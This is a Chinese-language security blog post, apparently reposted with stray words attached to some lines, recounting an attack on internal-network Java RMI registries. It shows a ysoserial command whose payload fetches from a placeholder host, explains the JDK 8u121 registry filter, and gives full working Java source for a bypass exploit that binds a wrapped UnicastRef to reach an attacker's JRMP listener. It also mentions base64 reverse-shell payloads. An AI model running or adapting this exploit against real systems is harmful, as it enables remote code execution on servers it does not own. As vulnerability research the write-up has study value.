一次攻擊內網rmi服務的深思

說明

在平常掃描內網服務器的時候發現有幾臺主機開放了rmi服務,根據以往經驗rmi服務存在反序列化漏洞,本覺得能夠直接拿ysoserial一把梭直接幹。html

一次攻擊內網rmi服務的深思

java -cp ysoserial.exploit.RMIRegistryExploit 10.9.15.193 9999 CommonsCollections2 「wget http://xxxxx:3344」java

以往都成功過,可是此次竟然爆出了filter status: REJECTEDgit

一次攻擊內網rmi服務的深思

出現這種狀況的緣由是[java 8 update 121]以後 RMIRegistryImpl.registryFilter() 的限制http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388apache

能夠看到在idk8 update 121以後在registryFilter函數中限制了類型。bash

一次攻擊內網rmi服務的深思

本地寫個rmi註冊服務模擬下:服務器

public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
    //System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;");
    //System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;sun.reflect.annotation.**;");
    //System.setProperty("sun.rmi.registry.registryFilter", "java.**;sun.reflect.annotation.**;com.sun.**");
    //System.setProperty("sun.rmi.registry.registryFilter", "org.apache.commons.collections4.comparators.TransformingComparator");
    HelloService helloService = new HelloServiceImpl();
    LocateRegistry.createRegistry(12306);
    Naming.bind("rmi://localhost:12306/helloService", helloService);
    System.out.println("ServerMain provide RPC service now");

}複製代碼

啓動以後用java -cp ysoserial.exploit.RMIRegistryExploit 127.0.0.1 12306 CommonsCollections2 「wget http://xxxxx:3344」去攻擊發現服務端爆出app

ServerMain provide RPC service now
九月 20, 2018 12:31:57 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/a複製代碼

這裏很明顯爲何是AnnotationInvocationHandler這個了類被攔截了,由於在CommonsCollections2中實際上是利用了動態代理增強以後,若是不瞭解這步更多詳情能夠移步 java反序列化漏洞-玄鐵重劍之CommonsCollection(上)tcp

根據限制因此我把目光放在Number(不考慮),Remote,Proxy,UnicastRef,RMIClientSocketFactory,RMIServerSocketFactory,ActivationID,UID(基本不考慮)這幾個類中。ide

其中UnicastRef引發了個人注意,若是稍微有點印象的就能夠知道UnicastRef自己Amf3反序列化的時候使用過。函數

那麼轉換攻擊思路就來了:

一次攻擊內網rmi服務的深思

調試之路

說是這麼說,可是本身在調試和嘗試的過程當中踩了不少坑,還好沒放棄。參考RMIRegistryExploit咱們重點就是要構造好Remote對象,首先先構造好UnicastRef。直接採用 【技術分享】Java AMF3 反序列化漏洞分析 的相似寫法

public static UnicastRef generateUnicastRef(String host, int port) {
    java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
    sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
    sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
    return new sun.rmi.server.UnicastRef(liveRef);
}複製代碼

而後稍作在RMIRegistryExploit的基礎上稍微作一點改動,直接把

Object payload = payloadObj.getObject(command);//CommonsCollections2 
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);複製代碼

改爲

Object payload = generateUnicastRef("127.0.0.1", "3348");
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);複製代碼

答案是服務器依舊爆ObjectInputFilter REJECTED,這個很正常,由於通過Gadgets.createMemoitizedProxy的處理邏輯自己就是AnnotationInvocationHandler這個用來動態代理,在本地服務器調試的時候加上

System.setProperty(「sun.rmi.registry.registryFilter」, 「java. ;sun.reflect.annotation. ;com.sun.**」);發現是能夠執行命令的,說明咱們的思路是對的,UnicastRef直接也能夠反序列化的,那麼接下來就是要想辦法怎麼去繞過ObjectInputFilter REJECTED這個限制了,自己UnicastRef是在registryFilter的範圍以內的,可是在registry.bind(name, remote)的時候須要傳入一個Remote對象。思路很清晰就是咱們若是把UnicastRef封裝成Remote類型,好比:

1.動態反射

2.找一個同時繼承實現二者的類或者實現Remote,並將UnicastRef類型做爲其一個字段

自定義一個反射

public static class PocHandler implements InvocationHandler, Serializable {
    private RemoteRef ref;

    protected PocHandler(RemoteRef newref) {
        ref = newref;
    }


    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return method.invoke(this.ref, args);
    }
}複製代碼
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
 registry.bind("2333", remote);複製代碼

一次攻擊內網rmi服務的深思

開心,耐着性子接着去找第二種狀況,這裏真的找了很久很久,剛開始看到UnicastRemoteObject(Remote),原本想經過設置ref字段去設置UnicastRef,可是一直爆沒有該字段,父類的父類的父類(太爺爺類)RemoteObject中有ref字段。可是被申明爲transient(不會被序列化,即便被反序列化以後還會爲null)。

只能看源碼了,找了好久(真的好久)找到了一個RemoteObjectInvocationHandler,自己是InvocationHandler還不會有異常。

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
 registry.bind("23333", remote);複製代碼

還有一個RMIConnectionImpl_Stub類,狀況2

UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
registry.bind(name, remote);複製代碼

均可以還不報異常,開心。

一次攻擊內網rmi服務的深思

bingo

本地調試好本身去開始能夠去執行命令了,好比反彈bash,借用下 http://jackson.thuraisamy.me/runtime-exec-payloads.html 須要轉成base64以後執行。最後貼下代碼吧:

package ysoserial.exploit;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import sun.rmi.server.UnicastRef;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import ysoserial.secmgr.ExecCheckingSecurityManager;
import sun.rmi.registry.RegistryImpl;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import javax.net.ssl.*;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.activation.Activator;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;

/**
 * 使用UnicastRef注入,繞過ObjectInputFilter checkInput對幾個基礎類型的檢測
 * sun.rmi.registry.
 */
public class RMIRegistryExploit2 {
    private static class TrustAllSSL extends X509ExtendedTrustManager {
        private static final X509Certificate[] ANY_CA = {};

        public X509Certificate[] getAcceptedIssuers() {
            return ANY_CA;
        }

        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }

        public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
    }

    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch (Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        System.out.println("用法以下 RMIRegistryHost RMIRegistryPort JRMPListenerHost JRMPListenerPort");
        final String rmiRegistryHost = args[0];
        final int rmiRegistryPort = Integer.parseInt(args[1]);
        final String jrmpListenerHost = args[2];
        final int jrmpListenerPort = Integer.parseInt(args[3]);
        Registry registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort);

        // test RMI registry connection and upgrade to SSL connection on fail
        try {
            registry.list();
        } catch (ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization exploit(registry, jrmpListenerHost, jrmpListenerPort); } public static void exploit(final Registry registry, final Class<? extends ObjectPayload> payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() { public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; } }); } public static void exploit(final Registry registry, final String jrmpListenerHost, final int jrmpListenerPort) throws Exception { UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); /* poc 1*/ RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef); /* poc2 Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef)); */ /* poc3 Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[] { Activator.class }, new RemoteObjectInvocationHandler(unicastRef)); */ /* poc4 失敗,無效 UnicastRemoteObject remote = Reflections.createWithoutConstructor(java.rmi.server.UnicastRemoteObject.class); Reflections.setFieldValue(unicastRemoteObject, "ref", unicastRef); */ String name = "pwned" + System.nanoTime(); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } } /*** * 生成一個UnicastRef對象 * @param host * @param port * @return */ public static UnicastRef generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static class PocHandler implements InvocationHandler, Serializable { private RemoteRef ref; protected PocHandler(RemoteRef newref) { ref = newref; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return method.invoke(this.ref, args); } } } 複製代碼

最後才發如今ysoserial.payloads.JRMPClient其實也有,原來早就有,害我調試這麼久。

一次攻擊內網rmi服務的深思

不過找到了RemoteObjectInvocationHandler和RMIConnectionImpl_Stub着兩個,調試跟蹤了那麼久,好歹有些安慰。看先知才知道RemoteObjectInvocationHandler和RMIConnectionImpl_Stub已經被拿來利用了,感受消息有些封閉。 https://xz.aliyun.com/t/2479 幾個類的關係,調試的時候記錄的,名字都差很少,怕看暈了 UnicastRemoteObject->RemoteServer->RemoteObject->Remote UnicastServerRef2->UnicastServerRef->UnicastRef->RemoteRef->Externalizable

參考

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388

https://stackoverflow.com/questions/41821240/rmi-registry-filter-rejects-rmi-configuration-class-in-java-8-update-121

https://www.anquanke.com/post/id/85846

https://github.com/frohoff/ysoserial

https://xz.aliyun.com/t/2479

相關文章
相關標籤/搜索